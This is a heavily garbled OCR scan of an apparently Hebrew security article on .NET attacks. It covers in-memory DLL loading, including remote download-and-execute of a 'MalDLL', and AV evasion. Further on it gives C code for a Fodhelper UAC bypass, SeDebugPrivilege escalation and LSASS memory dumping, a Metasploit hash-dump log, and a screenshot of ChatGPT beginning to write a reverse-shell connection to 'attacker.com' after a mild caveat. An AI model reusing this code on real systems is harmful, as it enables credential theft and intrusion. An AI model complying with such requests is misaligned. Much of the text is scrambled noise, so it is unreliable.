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L1 b xse o 4 CFF Explorer iINETH ~ « T4 X 1+ « H+- Assembly Metadata ®
SAS B Y LI e msp 4317 xs Ux A PR - 5ection

) NET Directory
] MetaData Header

5] (& MetaData Streams

&l #~
&) Tables Header
7 Tables

— &) #Strings
— L& 2US
— L& #GUID
— & #Blob
(CFF Explorer 8
clsses Y« ¥3 . s tuntimes _ _ ¢ X * Assembly . * x 1 4L 4 58 T
Ynetadata streams - _ 11 » « ~ 1 . & strihgs irfheritance
Qropertiegt - > - I x I 1 { { 1~ dn

Membergtnamespaces, typas - * _1 _1 1#Strings @
s« X" helloWorld® ' x X ¥ xI®. Hx 3%  xIx Cx, 3 ] a#US @

Y X5 X lises €8 1%

Of fset 01 2 3 4 5 6 7 8 9 A B C D E F Ascii

00000000 | 00 1B 48 00 65 00 6C 00 6C 00 6F 00 2C 00 20 00 0Hel lo.....
00000010 | S7 00 6F 00 72 00 6C 00 64 00 21 00 0O 0O 0O 0O Woxrld!

Assembly + 1 _ _ xGUIDg 1 1®GUID @
dxoxlbx lx {7 T 1m4Blob ¢

A ~ v ~ ~

.NET Runtime CLR
18l XNETL _+ . XX X« f 17 ¢ x 9 {x NETL _binaryd 4" *$._ 1+

~ ~ ~

Common- CLR 4 'ed | » X 1o 1« @WOr 41 47 4 %0, _ « MNETH ~» « 3 x4 4

>~ >

@ IDA - HelloWorld.dil C\Users\LiorFatiha\source\repos\Hello Worlay| 1+ ~ 1% 4 1 » & sDEnguage Runtime

File Edit Jump Search View Debugger Lumipa Options W i ¢ osx” x |J X *C“R I X '« i s L
FEH ey fdpE & ) o B0 et ° ” ” ”
X I entry - 2 XAgssembly, + | | Xd x «
Library function [l Regular function [l Instruction Data Unexplored Extel
S R Le . XSS X i
Flrnct O & x DA View-A B i JMP’ t L, X L point
Function name \ mscoree.dlH x :_CorExeMain_CorDIIMain
I - -
start

L 158 d e LS T \WIgdews™ 0
| RISEEE B ENENITIE.
public start ’

start proc near ® ¢ main()
Jjmp _CorExeMain b

start endp

Ida Pro  helloWorld.dlt CLR
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metadatas = X4 $X s, T 4 L0 47 TXES L0, 1%L 4 CLR

A > A~

Adsemblys @ v 4 e < ST 4 F S b XS I L X 4

~

JIT- Just In Time Compiler

® . s 8T xx Clks | x v A 2oy 4 A% WSIGLR X 4 Ix s ¢
S v Xeolat o 8 X]JIFS L X Loas xIJxV‘l Xt o ibiHr 44 52Xy s X

>

s s C_x . d X4 8 s . VLLZXV woeprm 1% 4 w5 ] ¢ "\.,,xwxs,_qjjx ~Z\\,,,,|_“ "

DX 4 X sS WJIFT fox T

S 1l d e o~ Hessfubl 4 4 ciaq?xsx x| . WCLR loade¥ ST L4 7 X< ]
stub-s - v X sIS1x x :ZVLQ_ - “SZL X )" JIFs s> x 5 w8 Pox VJZJ s Jih

=~ Tv

'_
x
N
[N
—_

C Y Y ST X o] o X5 ], 1 +1® Xsol xsis " oxxfs s €7 x o X

>

1 red 0047 1 x s

4 . XSsJl o xsio [sX3X TR NI ENYT | = ZZ R « S lx s va,,\~ «S3¢ s L X x

d L xs .l vxs:s v" L, stupLs 1 X

> v ~ >

XL, 2K XX S mdx s X L0 T xssOs T X sy C - Xs 1qs

L@ 5% 44 1+ €ix]y

Compiles the method

call call

(1) (1)

Method_a() |~ (3 Method_a() —T‘ — T

)

Stub Stub !

(3) overwrites the stub
pointing to pointing to (5)
compiled compiled
method method
Compiled_metod_a() Compiled_metod_a()
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K | o x ” % s ¢ .

S T ox Ox"4 « trynfime-s ¢~ 1 ¢ Assembly , S < SAEYK X Y ¢ X .ss{ss¢

s s %" ¢ 4" Io0Fssd ILACIs L 4 .~ M4 | ¥« ks *pltadata

~ >~ A~

[¢5) LS ~ ~ $s N <« s JA d ASSembl&S XL

X x® s x xGLR S@ X ]l o XA NER G .ty s, x 1o dq ],
e 4 e h® 9. L4 ACLR s A A s L s, T 4E gL 4" s
XL DA KVBACEY O LUNET 1 _ % 1SS qse™ Loysd oLox (@7 p {7 1S
®1”" Fis e CUR ¥ xGIL

S . L.8x 14

Y « Xl X" helloWorlds © 4 "Il X w6 w4 et
oow A XS X 4 L SsoWEndows, X el X | 8 KDLISL | . X 4% F s o T Ao

WWinap< 8 1”7 % xdgthet

'_
—

$ dotnet ./HellowWorld.dll
Hello, World!

L X ¥ $ x Rfntimes v 1, _ st $dB 8. Jd 48y, 8% XX @

NET ~+ ¥s3 | dwx{ss I | ] out-ofthe-box,k6 * v I &4+ " 4 XX s, 8 s

Ystatic linking: 1 D& x I ¥ « xuso xsq{,

~ o

./HelloWorld
Hello, World!

SX X T X% XX , SIS XL

Non self-contained Self-contained
Name Size Name Size
- HelloWorld 145 KB | HelloWorld 62,662 KB
& HelloWorld.pdb TMKE & HelloWorld.pdb 11 KB
[ 4c+~% _*Runtimes : «L 147 -ds  &Xs{H4X X yl>s s
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X o Slp 083 Lo v SX 7 o108y oK T YNETL 4 s T x ] ] ]

CentOS 4 ! ! £ -tinuxi x | X 18 |, XTY MET x | XX o Ix 4y
®bunturt

Coudls 082 4 T Al s x o s ool d X g e XX s

castume made dynamic loadér 't 4+ 1 * 1Hildess malwa@ | 41 *¥{o X 1 x L4
LOLBINSs ' _ p s X1l d 4 %A 4 A4 ¥4 F 2 4 0 x

X 4L Spé“doado 1. 5wx . v 1 sk A x xF”1V”xx » Xssqi 4 1 §': x " x ., A

ST1Me XX A5k S IECE < X1 T04f « 4! "Hed 4 L _SHh:
Sq)) “:|_V:|_X,,\.~“k::t\1“xzv‘ILIASX“Fl"* N

x v o~

Y . _HelloWorldy, 1 . 'xZ & _ 4 $x DLIE 4 _ ~s"”HI1 % T x4 HT "

Cy

System.Reflection;

injection

Assembly.LoadFile(@" /opt/ {InjectionTest/ExampleDLL.dl1l");

foreach ( type in a.GetTypes())
{

instance = Activator.CreatelInstance(type);
t[] ar = B R ring[] € " } };
try
{
type.GetMethod("Main").Invoke(instance, ar);

}
catch { }

ole.ReadKey();

YIXSALX S)\S,;—”'Ik’:x“n

$ dotnet ./Injection.dll
Hello World!
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W@ XDLLE L 1R s e Tl ATUID s B S S LAt " L XTo s 7

> v

tracer syscalltrace 1 ~» 1« * «

A

lstat("/opt/ /InjectionTest", {st_mode-S_IFDIR|©775, st_size-171, )
stat("/opt/ /InjectionTest/ExampleDLL.d11", {st_mode-S_IFREG|2664, st_size-409¢
open("“/opt/ InjectionTest/ExampleDLL.d11", O_RDONLY)
18, F_SETFD, FD_CLOEXEC) )
, {st_mode-S_IFREG|9664, st_size-409
3, F_DUPFD_CLOEXEC, @)
fstat(19, {st_mode-S_IFREG|@c64, st_size
mmap(NULL, 4896, PROT_READ, MAP_SHARED,
® " DLES ¢t _mmapd "4, « x>« B I H s s o x b 7 pxd 4 1 XX 188

cloxoxysx 3 1lsd 45, HTTPlistener 1 "1 X . DLLT x s X% _*Bi " v

oS T X s R X Tt 8 S s

v

System.Net;
System.Reflection

remoteInjection

Main( 0 )

ly assembly Assembly.Load( W ient().DownloadData(
text Main";
[] array [el;

reach (Type type in assembly.GetTypes())

foreach (MethodInfo methodInfo in type.GetMethods())
{
if (methodInfo.Name.TolLower().Equals(text.ToLower()))
{
obj Activator.CreateInstance(type);
methodInfo.Invoke(obj, [
{
array

D;

return;

¥ T LSS KL TS IS4 S K

>~

$ ./remoteInjection
Hello wWorld from MalDLL

X " A4 L A X s X As i s 47 X v osysealls Lo 1ok VX
X "DLES « HTTP GET _ « *dn

sendto(40, "GET /MalDLL.dll HTTP/1.1\r\nHost: "...

recvmsg (40, {msg_name-NULL, msg namelen-0, msg_iov-[ {iov_base-"HTTP/1.8 208 OK\r\nServer: SimpleH”...,

Ficicp ¢ x 2%« MalDLL ~. 1 | hyte streams @

recvmsg(40, {msg_name NULL, msg _namelen-©, msg_iov-|{iov_base "MzZ\2:

msg_iovlen-1, msg _controllen-0, msg flags 9}, 0)
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Ynmapr T X ~HdH 1 Jccpa

| mmap (NULL PROT_READ | PROT_WRITE, MAP_SHARED |MAP_ANON

Yd 4849+ ~ x . s] 1% Qystem.Console.dlip

open("/usr/share/dotnet/shared/Microsoft.NETCore.App/6.0.5/System.Console.d11", O RDONLY)
F_SETFD, FD CLOEXEC) 5
[st_mode-S_IFREG|@644, st size-1
F_DUPFD_CLOEXEC,

X 4% ~ | Hgllo Worldy @

write(49, "Hello World from MalDLL

* #S v ] v S X XL q < 24 1 Axlv“x"sAqS $41 L s X floyw-s - ox 7 K osX3| "y .

s L e Xxs )] ‘mmgp . pto o P IMalDLL « ¥X ¢ {4 " Jx Tx ., ] {0
YOx7fec5d218000 * x :/ptot/PID/maps™ s » = 7 " & K {0 s 3 xs. sx

7fec5d218000 7fec5d21a008 rw-s 1 4 dev/zero (deleted)

S v 1" 18 4 wsXe {4~ T/dBv/zero , X X hsx X7 x X[74,¢s | xMalDLL & {7
null-* x v« _ S5 Acd”_» «ik-memory . X X 4 XX X X X X 4o x s 0 s X x (s
p e X X Y ST x L Hh "B 7 A XWX« ] x s § s X x sse ., cHaracters

@ ” L j 1 ”|_Z1L,_ A ,..“,tQ ‘|LI mS X Xs“xxx‘-YLv~

TX AL ANSS oy X e zesx o Y DLES - x 4t w4 Sxox T AITX o XX

PHNsL - X% & _ GREAD|WRITE ~ L 3 1 % « _ % § *x_{'g . X

¢
x

X T T R TS S R T AT T NS kT T xR X

~ ~ A~ ~ v >

Wihdows* s L 1 * &« $ "TI108 ("X % X J s Smbdulel T . MADLE 4 1 x|

Y 1 <.« 158 ysx'lGProcessHackesr ¢l4d ¢ JPE* - 4 _ ~77 41DLES @ «- X « 418 %
YRvocessHacker =~ | 1Assembly : T s *

a

 /1252629/000- 112526230000 - p
72526220000 - 72526222000 0000 - > [MalDLL
7§25262a2000-7f25262b7000 L]
7§25262b7000 7f25262b8000
7§25262b8000 71252620000
7252620000 71252626000
7§25262c6000 72526302000
7f252630a000 - 7252631000
7£252631c000- 7f252631d0ee
72526314000 7252631000
72526312000 -7f252631f000
7252631000 712526325000
7£2526325000 - 72526371000
72526371000 - 72526384000
72526384000 72526385000
72526385000 712526386000
72526386000 - 712526387000
72526387000 71252638d0e6
7§252638d000 - 7f252638f000
72526381000 72526390000
72526390000 - 72526393000
72526393000 72526394000
72526394000 72526398000
72526398000 712526399000
7§2526399000 - 72526392000
7£252639a000 - 7£252639b000
7ffefccf2000 7ffefcd13000
7ffefcdabeee 7ffefcdadeee r-xp
FFFFFfffff60e00e ff{ffffff601000 r xp @

MalDLLL s " 4 4 [ 45+ . [proc/SPID/maps 11 , ]

usr/share/dotnet/shared/Microsoft.NETCore.App/6.6.5/1ibhostpolicy.
share/dotnet/shared/Microsoft.NETCore.App .5/1ibhostpolicy.
share/dotnet/shared/Microsoft.NETCore.App/6.0.5/1ibhostpolicy.
share/dotnet/shared/Microsoft.NETCore.App .5/1ibhostpolicy.
share/dotnet/shared/Microsoft.NETCore.App. .5/1ibhostpolicy.
share/dotnet/shared/Microsoft.NETCore.App .5/1ibhostpolicy.
share/dotnet/host/fxr/6.8.5/1ibhostfxr.so
share/dotnet/host/fxr/6.0.5/1ibhostfxr.so
share/dotnet /host/fxr .5/1ibhostfxr.so
share/dotnet/host/fxr .5/1ibhostfxr.so
share/dotnet/host/fxr .5/1ibhostfxr.so
share/dotnet/host/fxr. .5/1ibhostfxr.so

5 e
T

33339
b

o) ) =] o

share/dotnet/shared/Microsoft.NETCore.App. .5/System.Diagnostics.Tracing.dll

F)

1ib64/1d

e
TTTTTT T UNTTT T TTTTUTTOUBSTTTD

232

.Net Attacks: Breaking OS Boundaries
www.DigitalWhisper.co.il
cCMm HAoH « X ~NM1 T~ X 4 LY



https://processhacker.sourceforge.io/
https://blog.xpnsec.com/hiding-your-dotnet-etw/

Technologic

Ix o XS1xDBLL s " A, 1 Windows, S T X XSS ouIsx X(IpST X

S S

LS~ »8 %4 1194 ~ 1<% x muntimes EBF] x = « s 7 { 71 siExecutable

L® LA .k bdulels s e L 11X X TSERLE .

L f X DLES F S 4T ol 4 SRS 40 Xyux "DEL S .« S| s { gx "
s S 7 4 EFLL 4L X X7 4w sg s, d f1 4L

cxo o x ] xxod .S~ « eBdpointst 119w pXEEDR 4 L X IXXxs]

~ v ~ ~

F

X S
>

X

~ v~

~

DA xS L PO X o X 8 X T X L PO 4171 { s X0F LS
®s o x _sl4xi_« Sss. 4" st s- READ|WRITE|[EXECUTE

Windows_ s " x 3 $ 1 1« Ssso{ "plviREuXe X _{w s AX%IS s o o

~ ~ ~

T ALIUX - s L ks e o X TG e ANISEE Y BEES L s T 4 okl 4

SQ v+ S

XS 44 X oL As x4 s X pwshx dotnetX | 1 b 4. s ASXEH g

S v 7 T Al XX{QLBINS L T X .~ 74489 x T W * cdstume loadef

”X"Y"

. .S"Is

~ oA

X " X

L

Y 7 xx1”Cloaders - «s s ‘VirusTotaft security vendor + _

Doxoc T dmdeditore b X L n XS X T R0k ™ ELP 4 X DLES ¢~ L FRX L4 . X

~

Y x-|,,L 4 " stsCxJﬁ‘L\v x s

-
2 1) 2 security vendors and no sandboxes flagged this file as malicious
- A 12bd :L
D v Gsse {7 Jd sHelloWorld, 1, oS wi~ Ssso 4 Tpl fo§ LML Isx T g T x ]

_ X OB A7 XWinapis 4 LM U0 4 {APIS 4 IDLL L S o .5 X

B CIXXIT X X ¥ s x L

X

.I

X

Slesie x 1A

I ¢ s s

~
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costumex ", v AChatGPT  « ol X 7 40 X2 0o x X g x U oy os | 418

Y x " dynamic loades + ! 1 ¥ * X . fdylwad

n Write a C# code intended to run on Linux. It will:
1. connect to the following address "http://attacker.com” with port 77777 and attach
‘/bin/bash” to it

It is generally not a good idea to connect to an attacker's website or to attach a shell to a
connection. Doing so could potentially compromise the security of your system or allow the

attacker to gain unauthorized access.

That being said, here is an example of how you might establish a connection to a website

using C# and the .NET framework:

D Copy code
PY

System;
System.Net.Http;

client = HttpClient

BaseAddress = Uri(

malicious dll loading asha S Y 5 K Lt XE X E | WIXXI{LX S fes, WS €

K $grvice
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VirusTota* | 4

x X oos oy x ¥y N ojthe wild, « x "NETHL, | mélwaresr 1 _dd S x <4 L4
®*» 1 1 %s VWirusTotad _ | 1T7clud {17 $44_ 1

> -~

~ 1 't imalicious] + 1 s ¥ X v+ 4 s x % x % 4 | ~ NET Assemblies~ 1 sY, 1 _ s

sdrurity vendors

| x § d 2 J DRL)X ELFIx " Assembhf © «L . 2 i 4% S Al w0 T KT 4.

DL « X« 1 % <sNETL _runtime-s - «+ 1 . 1ELFES_,

Loux* _ x % b p ") b ¢p 41 42 { ostringse 10 101 Runtimes © «+ 4 04 d _
XN BSU H A Y KO F B KE

17d "queriesr - X 1 4 s «

SosE X s A g,k X A K e DT B HY S P X 0 g x

~ v

sl 4l x P odaysa Oseridgs Covr 4 L A BER X 4 < X <1+ % VirusTotal query

Ynaliciousl x - x ¥ s$eturity vendors _ 1 _~1:_x d{BAs@oree- runtime

OUPAKk%, & AT 1T OAT Okeai OAT Oa Pkl |

@ oL XY S X Xy X, CsTOsqueryss

D3A831302F 18047643F DBBFA3RE54E03258CATE228EA4TTRT 200501 8DRAF 651 0320718 030718
& & vt Epd-unpack 5/ M o o

2 @ | httpd-unpacked o6z grime 20:20:01 20:20:01
elf G4bils

DDEBIRDRDGEFO296 152684 3F AASCDRE 1 878 1B4R0F T4E 1 34E 187OFCBEAT 35 35FD S r1220601
8 @  swndall 19761 4505 M8 10-11:41 10-11:41
eif G4bils explod cve-2015-4852

EASEC25352032E09CF 266DA5400852A023AAC6RRB291C02FRBEF 232054503424 2022-06-22 2022-06-22
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msf5 > use post/windows/gather/credentials/credential_collector <&

msf5 post( ) > set session 1

session = 1

msf5 post( ) > exploit

Running module against DESKTOP-PIGEFK@
[+] Collecting hashes ...
Extracted: Administrator:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e@c@89c0
Extracted: DefaultAccount:aad3b435b51404eeaad3bs35b51404ee:31d6cfedd16ae931b73¢c59d7e@cBB9c
Extracted: Guest:aad3b435b51404eeaad3bs35b51404ee:31d6cfedd16ae931b73c59d7e@c@B89cO
Extracted: raj:aad3b435b51404eeaad3bs35b51404ee:3dbde697d71690a769204beb12283678
Extracted: WDAGUtilityAccount:aad3b435b51404eeaad3b435b51404ee:438403a713b66a883350a40bfe3966cd
Collecting tokens ...
DESKTOP-PIGEFK®\raj
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Window Manager\DWM-1
Font Driver Host\UMFD-0
Font Driver Host\UMFD-1
Post module execution completed
msf5 post(
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Serd cd s s TS X ] p X SW e L A 4dess 1 SéDebugPrivilege
s 0 x v Windows106t © _ 4% _gpox b X AT T s X4 0] s T X Lox ]

Tud KTt ss AV 4 d XS oo s e u® X ] A T
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x

S 4 v W TEXT oA X stox {0 < AW BSASS Y X I d x 7 x (SeBebugPrivilege -
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UACBYypass()

X4 WS ddsd 4 X o 10T v X Patchs ox s 0o x:1. % - s 4" x s
Dok wss, v X w,X v 28 X X $ 8§ x 1o g4l 04} SH X«
Registry* 1 © _« - X % Fodhelper _ % x s x X ¥ ., sXx.,x{"s { x@ i __ {

~ o~ o~ A ~ ~

HKCU 1

S w SX LI {0 R SIS X 4 X KV 1 X v _Sid e X HiveKey s €
T s A Xy LS .S X Tis 4 X Hx” s .« 4 AFodhelper: vu 4 . TSl 1~ L X
LA T I Ay s fixs os o ® K isy TSP iYL o1 X

@Wza SINJX « . 87,5 (¢ x"s

e IS k4 s X { TsIixx v s, wl (X XSO xS X Te, 8 {3x {7 L s

Sl oo Regty . XX 1T T sCs i K DT X DX s T x5 Ts!
« spY XSX X {1 X o S X XK s X Xy, s ] X < xJ" Xs X
|_A>g<q2>><sxi.|,_sii\§‘X\,_,_uxx4t|~vs;¢>?”][sA,_xs":vx\~x,,.|s=ss,4A)s~

H s ™ x « ,,§x<v”s|_.|s.|.|"~s

~ ~ A

AP - « 4 4 _ o] «sStraight Forward X «+ X s X1 « x {_§ x Xs| Ly

~ A ~ a

Tl T X pes o, X 0 T D s X " L GetModuleFileNameW()
" L ,RegSetValueEx()* * _ 1 ~ % *1 s s, x o {y RegCreateKeyf)1 - _ _ ' _ s
s 1, S System@t 1 - oos kb dds LY ], Tt DT sy X x D]

® ! x « s - Fodhelper

Fov SLXS TIoX o X XL 8 CXs o liXs cLomaimd - 44 Y . T e
. ~ R > > ~
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void UACBypas$)
{

wchar_t DirName[ 1000];
GetModuleFileNameW NULL DirName, 1000);

HKEY RegisteryKey;
LONGRegKey = RegCreateKeyEx(HKEY_CURRENT_USER,
HKCU_UAC_BYPASS_PATH,
0,
NULL,
REG_OPTION_NON_VOLATILE,
MAXIMUM_ALLOWED,
NULL,
&RegisteryKey,
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(RegKey != ERROR_SUCCESS)

printf (" %s', "Error while creating registry subkey
exit (1);

LONGCode = RegKey = RegSetValueEx(
RegisteryKey,
TEXT "DelegateExecute” ),
0,
REG_SZ,
TEXT™),
(TEXT™) + 1))

(Code = ERROR_SUCCESS)

printf  ("%3n", "An error while setting registry value"
exit (1);
}

Code = RegSetValueEx(

RegisteryKey,

TEXT™),

0,

REG_SzZ,

DirName,

(DirName) + 1);
(Code |I= ERROR_SUCCESS)

printf  ("%a3 n", "An error while setting registry value"
exit (1);

RegCloseKey(RegisteryKey);

system ( "start Fodhelper.exe"
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Getisas$roceesldentifier()

vl e TXTLOASSLPIDE X L B . XS A WA S HN b x x|

> v ~ >

X@ Lx s Lo 1™ X XS L AR 4 T L xd d did LS

~ v o~N~NvY v

\XXL":LX ” ::XX”‘I\“ ” X'».‘)g I_'II-SS'I"SX‘X ,,”S.:JX ~"'I>YVNV-IX QSS_IARZ-IXX

A ~ ~ v ~ > ~

X 4 bed v S dAsL sihesx L 4 K] e ssise L 14

S Ioxs. X (x@Psx . . s T X « s | 1. X0 x™ . 3 4 {s "Ixk s i Y4 L

v v o~ S~ v

¢

{Pipgt @ x ¥ o ¥4 ] 4w skivs sy (s | x .@askList | findstr Isass.exe 1 s . X ”
¥ . Xss, x 1o "4 ¢ ISASS . 1

¥ x64 Native Tools Command Prompt for VS 2022 - O x

% Uigzual Studio 2022 Developer Command Prompt vi?.3.6
% Copyright <c)> 20822 Microsoft Corporation

[vcvarsall.bat] Environment initialized for: *‘x64’

C:“Progran Files“\Microsoft Uisual Studio2@22\Community>tasklist | findstr lzass
lzass.exe 936 Services a 21,524 K

C:“Progran Files‘\Microsoft Uisual Studio™2@22\Community>

LT IR R XL K e ST L ISl T IS 4 8 L 4. X PR X~ T
XX Dd L X o d LS.« popens « 4 xS e ST xsPsd s L9 _wq”

®ileStreant s 1 - -«

L fge{& kS « LXX s S » X, 18 . x2~¢ X ,,s]”vi ~-|VZ|_“ T ASEXSD X o

S v X Xxoq xpios " sy {8 x , Aull terminatorsr 1 . ! ostitoks 41 < T x s o X

» ~

@ split vs ¢ 1X4+s wdf

N

S . LPUDE C ~S L4 L S T XTstrtokit : TS« 4. ko83 4% SPIBE S T
STl I qx I8 4" 48 gscanftd | A "Sw. oS X i s o %o | S L
S~ 7 teger PIDR © <4 ¢~ € U8 T ~dmty X

int GetlsassProcessldentifier 0

{

char * Buffer=(  char*) calloc (2048, (char));
char * FinalOutput = ( char *) calloc (100000, (char));

(Buffer && FinalOutput == NULL)
{

printf  ("Error allocating memory( %0Q" , GetLastError ());

}
FILE* FileHandler;
FileHandler = _popen( "tasklist | findstr Isass.exe"

(fgets (Buffer, 2048, FileHandler) != NULD
{

}

fclose (FileHandler);

strcat (FinalOutput, Buffer);
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char * Processld =  strtok (FinalOutput,

Processld = strtok (NULL "" );

int IntProcessld;

sscanf (Processld, "%d, &IntProcessld);
free (Buffer);

free (FinalOutput);

IntProcessld;

GainDebuggingPrivilege()

P L o X SN e e SKe A s o x Y L g e XS A4, I x €

" is{”x .. ..SeDebugPrivilege %« _ 5 sS4 Y@ S PR KXxeS

TA "X X  y B LT X, FASST T x s X %% 45 b9 |4y s

LS 1% Es L hx & o5, ] L "Admin: x « L T8 7 T Privilege Escalation

Mov T, 814 40t FHsx AH X ad HS . X s L x s 6 xs{ s:s

140 s #8711 ”$¥s _  Handlex ™ © ‘OpenProcessTokend {1 «ioXx” x. 1 o & ?
10, X ® 7 4] L oS C Lsuidi® ¢ 0 ¢ < " L LookupPrivilegeValae . ¢ T 1.1« oL X
SO AV X L4

~ ~ A v

Luidt - « SEDebugPrivilege «+ _ ~ ¢ s {1 xx{"TQKEN_PRIVILERE_ * " * _* . 7

S 4 v XX o x X s 4T 4 T 91T ] Wy WS ST X" L (XS
A A ~ >

A > v ~ ~ ~ ~ v v oo~ ~

L s 1% 3 4.5 xTxy s 3X s8] o 1 AdjustTokenPrivilege _ X x s * x ]

~ ~

¥ T F S RB L g9 L5 s

BOOLGainDebuggingPrivilege ()

{
HANDLEPrivilegeToken;
TOKEN_PRIVILEGES PrivilegeData;

LUID Luid;

(! OpenProcessToken( GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES, &PrivilegeToken))
{
printf  ("OpenProcessToken Error(  %d\n", GetLastError ());
FALSE

(! LookupPrivilegeValue (0, L"SeDebugPrivilege" , &Luid))
{
printf  ("LookupPrivilege Error( %d\n", GetLastError ());
FALSE
}

PrivilegeData.Privileges[ 0].Luid = Luid;
PrivilegeData.PrivilegeCount = 1;
PrivilegeData.Privileges[ 0].Attributes = SE_PRIVILEGE_ENABLED;
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(! AdjustTokenPrivileges  (PrivilegeToken, FALSE &PrivilegeData, 0,0, 0)

{
printf  ("AdjustPrivilegeError( %dJ\ n", GetLastError ());
FALSE

CloseHandle (PrivilegeToken);
TRUE

main()

B P BRI R RN IR L £ SR Nl SRR S SN NI ' SV S R | BN R
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x> d 4 b 41 4% X affmin, X SXCC x T s ] Xl L X

Lol Tl x sl 40T P x| eSsa s T X TN ] X T ]

~
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~
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X DX X% L KX T AP LS oL FH S S ux T T IS ST X xx s S

L JohnTheRippetMimikatzt = x 1 _ _ x 1 X ® ¢ KX 43X T . (X xi«§ | sio @ x"s

E- A TN S I SN (E0) SR

° o>

Y . 4 X Xl ¥ pX v s PN SS L v ISX &8

int  main()

{

(! IsUserAnAdmin ()== 1)

UACBYypas$);
Sleep ( 10000);
exit (1);
GainDebuggingPrivilege  ();
system ( "start Isass" );
DWORBPBrocessld = ( DWORBGetlsassProcessldentifier
HANDLHsassHandler;
IsassHandler = OpenProcess
PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
g’rocessld

(IsassHandler == NULD

printf  (“Isass Error( %9\ n", GetlLastError ());

HANDLHsassMinidump = CreateFileW
5 S2HWEMP\- ET Et 002t ' %. %2) #mM2%! $ Yy ' %. %2) #Mm72) 4 %t
(0]

NULL.
CREATE_ALWAYS,

FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_ARCHIVE | SECURITY_IMPERSONATION,
NULL;

(IsassMinidump == NULL)
{

}

int code = MiniDumpWriteDump(
IsassHandler,
Processld,
IsassMinidump,
(MINIDUMP_TYPE)x00000002,
NULL
NULL
NULL;

CloseHandle (IsassMinidump);

printf  ("Output Error(  %d\ n", GetLastError ());
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